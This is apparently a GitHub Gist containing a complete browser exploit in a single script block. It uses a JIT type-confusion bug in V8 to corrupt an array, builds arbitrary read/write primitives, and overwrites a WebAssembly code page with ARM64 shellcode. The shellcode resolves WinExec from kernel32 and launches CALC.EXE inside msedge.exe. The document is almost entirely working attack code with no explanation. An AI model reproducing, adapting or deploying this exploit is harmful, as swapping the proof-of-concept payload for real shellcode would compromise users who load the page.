262588213843476 · Gist

<script> function gc() { for (var i = 0; i < 0x80000; ++i) { var a = new ArrayBuffer(); } } let shellcode = [ // Move x18 to x28 (TEB) // mov x28, x18 0xfc, 0x03, 0x12, 0xaa, // add 0x60 to the TEB address to get PEB // add x28, x28, #0x60 0x9c, 0x83, 0x01, 0x91, // load PEB address into x27 // ldr x27, [x28] 0x9b, 0x03, 0x40, 0xf9, // Add 0x18 to PEB address to get PEB_LDR_DATA // add, x27, x27, #0x18 0x7b, 0x63, 0x00, 0x91, // Load PEB_LDR_DATA into x27 // ldr x27, [x27] 0x7b, 0x03, 0x40, 0xf9, // Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0] // add, x27, x27, #0x10 0x7b, 0x43, 0x00, 0x91, // Get to the first LDR_DATA_TABLE_ENTRY (msedge.exe itself) // ldr x27, [x27] 0x7b, 0x03, 0x40, 0xf9, // Get to the second LDR_DATA_TABLE_ENTRY (ntdll.dll) // ldr x27, [x27] 0x7b, 0x03, 0x40, 0xf9, // Get to the third LDR_DATA_TABLE_ENTRY (kernel32.dll) // ldr x27, [x27] 0x7b, 0x03, 0x40, 0xf9, // Add 0x30 to the LDR_DATA_TABLE_ENTRY address to get pointer to kernel32.dll load address // add, x27, x27, #0x10 0x7b, 0xc3, 0x00, 0x91, // Dereference x27 into x28 // ldr x28, [x27] 0x7c, 0x03, 0x40, 0xf9, // Registers at this point: // x28: Load address of kernel32.dll // Load kernel32.dll + 0x3c into x27 (PE Offset) // ldrb w27, [x28, #0x3c] 0x9b, 0xf3, 0x40, 0x39, // Add PE Offset to kernel32.dll base // add x27, x28, x27 0x9b, 0x03, 0x1b, 0x8b, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Address of PE header //////////////////////////////////////////////////////// // Add 0x88 to PE header to get to Export table, put in x27 // Many tutorials say 0x78, but that's only valid for 32-bit platforms // add x27, x27, #0x88 0x7b, 0x23, 0x02, 0x91, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Address of Data directory offset //////////////////////////////////////////////////////// // Virtual address of Exports table is first entry in Data directory // Get offset of Exports table, and put into x26 (0x124450) // ldr w26, [x27] 0x7a, 0x03, 0x40, 0xb9, // Add offset of Exports table to base of kernel32.dll, put in x27 // add x27, x28, x26 0x9b, 0x03, 0x1a, 0x8b, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export Table //////////////////////////////////////////////////////// // Go 0x1c past beginning of table to get address of function address table, put in x19 // add x19, x27, #0x1c 0x73, 0x73, 0x00, 0x91, // Go 0x20 past beginning of table to get address of function name pointer table, put in x23 // add x23, x27, #0x20 0x77, 0x83, 0x00, 0x91, // Go 0x24 past beginning of table to get address of function name pointer table, put in x15 // add x15, x27, #0x24 0x6f, 0x93, 0x00, 0x91, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Pointer to RVA of Name pointer table (e.g. 0007ffb37ec4470) // x19: Pointer to RVA of Address pointer table (e.g. 00007ffb37ec446c) // x15: Pointer to RVA of Ordinal table (e.g. 00007ffb37ec4474) //////////////////////////////////////////////////////// // Convert RVAs of our 3 pointer tables to actual addresses // where kernel32.dll is loaded // Get RVA of Name Pointer Table, and put into x26 (0x124450) // ldr w26, [x23] 0xfa, 0x02, 0x40, 0xb9, // Add RVA of Name Pointer table to base of kernel32.dll // add x23, x28, x26 0x97, 0x03, 0x1a, 0x8b, // Get RVA of Function Pointer Table, and put into x26 (0x124450) // ldr w26, [x19] 0x7a, 0x02, 0x40, 0xb9, // Add RVA of Function Pointer table to base of kernel32.dll, put in x19 // add x19, x28, x26 0x93, 0x03, 0x1a, 0x8b, // Get RVA of Function Pointer Table, and put into x26 (0x124450) // ldr w26, [x15] 0xfa, 0x01, 0x40, 0xb9, // Add RVA of Function Pointer table to base of kernel32.dll, put in x19 // add x15, x28, x26 0x8f, 0x03, 0x1a, 0x8b, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Name pointer table (e.g. 00007ffb37ec7814) // x19: Address pointer table (e.g. 00007ffc6fec4478) // x15: Ordinal table (e.g. 00007ffc6fec91c8) //////////////////////////////////////////////////////// // Load our string to look for "WinE" into x20 // movz x20, #0x6957 0xF4, 0x2a, 0x8d, 0xd2, // movk x20, #0x456e, lsl #16 0xd4, 0xad, 0xa8, 0xf2, // Subtract 4 from x27 to prepare for stupid loop structure // sub x23, x23, #4 0xf7, 0x12, 0x00, 0xd1, // subtract 1 from x0 to prepare for stupid loop structure // sub x0, x0, #1 0x00, 0x004, 0x00, 0xd1, // Loop: // Counter for exported functions // add x0, x0, 1 0x00, 0x04, 0x00, 0x91, // Increment to next name in the list // add x23, x23, 4 0xf7, 0x12, 0x00, 0x91, // Load first export name offset into x23 // x23 points to beginning of export name table // ldr w22, [x23] 0xf6, 0x02, 0x40, 0xb9, // Apply offset to kernel32 base, put in x21 // add x21, x28, x22 0x95, 0x03, 0x16, 0x8b, // Load the first 4 bytes of the export name into x20 // ldr w16, [x21] 0xb0, 0x02, 0x40, 0xb9, //cmp x16, x20 0x1f, 0x02, 0x14, 0xeb, // BNE loop 0x41, 0xff, 0xff, 0x54, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Name pointer table (e.g. 00007ffb37ec7814) // x19: Address pointer table (e.g. 00007ffb37ec4478) // x15: Ordinal table (e.g. 00007ffc6fec91c8) // x0: Function number of WinExec() (0x622 / 1570) //////////////////////////////////////////////////////// // Convert function number to ordinal number. // Usually they're the same. // Move 2 into x3 // mov x3, #2 0x43, 0x00, 0x80, 0xd2, // Multiply function number (x0) by 2 // mul x0, x0, x3 0x00, 0x7c, 0x03, 0x9b, // Increment by offset (function number * 2) into Ordinal table // add x15, x15, x0 0xef, 0x01, 0x00, 0x8b, // Put actual ordinal number into x0 // ldrh w0, [x15] 0xe0, 0x01, 0x40, 0x79, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Name pointer table (e.g. 00007ffb37ec7814) // x19: Address pointer table (e.g. 00007ffb37ec4478) // x15: Ordinal table (e.g. 00007ffc6fec91c8) // x0: Ordinal number of WinExec() (0x622 / 1570) //////////////////////////////////////////////////////// // To get the location of the address you want: // Multiply the Ordinal * 4, and use that as the offset into the address table // Move 4 into x2 // mov x2, #4 0x82, 0x00, 0x80, 0xd2, // Multiply x0 (Ordinal) by x2 (4) // mul x0, x0, x2 0x00, 0x7c, 0x02, 0x9b, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Name pointer table (e.g. 00007ffb37ec7814) // x19: Address pointer table (e.g. 00007ffb37ec4478) // x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) // x0: RVA of WinExec (e.g. 0x1888) //////////////////////////////////////////////////////// // Increment Function address table by offest of WinExec() function // add x19, x19, x0 0x73, 0x02, 0x00, 0x8b, // Get RVA of WinExec(), and put into x26 (0x124450) // ldr w26, [x19] 0x7a, 0x02, 0x40, 0xb9, // Add RVA of WinExec() to base of kernel32.dll, put in x8 // add x8, x28, x26 0x88, 0x03, 0x1a, 0x8b, //////////////////////////////////////////////////////// // Registers at this point: // x28: Load address of kernel32.dll // x27: Export table (e.g. 00007ffb37ec4450) // x23: Name pointer table (e.g. 00007ffb37ec7814) // x19: Address pointer table (e.g. 00007ffb37ec4478) // x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) // x8: Address of WinExec() // x0: RVA of WinExec //////////////////////////////////////////////////////// // Now that we have WinExec() in x8, prepare the call to it. // We don't really care about existing registers other than x8 // move sp into x9 // Indexing into SP can be tricky due to alignment requirements // mov, x9, sp 0xe9, 0x03, 0x00, 0x91, // Increment x9 by 8 // add, x9, x9, #8 0x29, 0x21, 0x00, 0x91, // Put CALC.EXE in x0 // AC // movz x0, #0x4143 0x60, 0x28, 0x88, 0xD2, // CL // movk x0, #0x434c, lsl #16 0x80, 0x69, 0xA8, 0xF2, // E. // movk x0, #0x452e, lsl #32 0xc0, 0xa5, 0xC8, 0xF2, // EX // movk x0, #0x4558, lsl #48 0x00, 0xab, 0xE8, 0xF2, // put x0 on x9-stack // str, x0, [x9], #8 0x20, 0x85, 0x00, 0xF8, // Terminate string with a null: // Put null into x0 // movz, x0, #0 0x00, 0x00, 0x80, 0xD2, // put x0 on x9-stack // str x0, [x9], #8 0x20, 0x85, 0x00, 0xF8, // Put the pointer to "CALC.EXE\0" into x0 // mov x0, x9 0xe0, 0x03, 0x09, 0xaa, // Ajust pointer to point to beginning of string // sub, x0, 0x, #0x10 0x00, 0x40, 0x00, 0xd1, // put 0x1 in x1 (second argument to WinExec) // movz x1, #0x01 0x21, 0x00, 0x80, 0xd2, // Call WinExec() // jalr x8 0x00, 0x01, 0x3F, 0xD6, // Trigger crash // ldr x11, [x10] //0x4b, 0x01, 0x40, 0xf9, // Infinite loop, because why not? // 0x00, 0x00, 0x00, 0x14, ]; var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var main = wasmInstance.exports.main; var bf = new ArrayBuffer(8); var bfView = new DataView(bf); function fLow(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(0, true)); } function fHi(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(4, true)) } function i2f(low, hi) { bfView.setUint32(0, low, true); bfView.setUint32(4, hi, true); return bfView.getFloat64(0, true); } function f2big(f) { bfView.setFloat64(0, f, true); return bfView.getBigUint64(0, true); } function big2f(b) { bfView.setBigUint64(0, b, true); return bfView.getFloat64(0, true); } class LeakArrayBuffer extends ArrayBuffer { constructor(size) { super(size); this.slot = 0xb33f; } } function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); arr.shift(); let local_arr = Array(2); local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr; function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); } function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); } let corrupt_view = new DataView(corrupt_buff); let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); let idx0Addr = corrupt_buffer_ptr_low - 0x10; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; let delta = baseAddr + 0x1c - idx0Addr; if ((delta % 8) == 0) { let baseIdx = delta / 8; this.base = fLow(rwarr[baseIdx]); } else { let baseIdx = ((delta - (delta % 8)) / 8); this.base = fHi(rwarr[baseIdx]); } let wasmInsAddr = leakObjLow(wasmInstance); setbackingStore(wasmInsAddr, this.base); let code_entry = corrupt_view.getFloat64(13 * 8, true); setbackingStore(fLow(code_entry), fHi(code_entry)); for (let i = 0; i < shellcode.length; i++) { corrupt_view.setUint8(i, shellcode[i]); } main(); </script>

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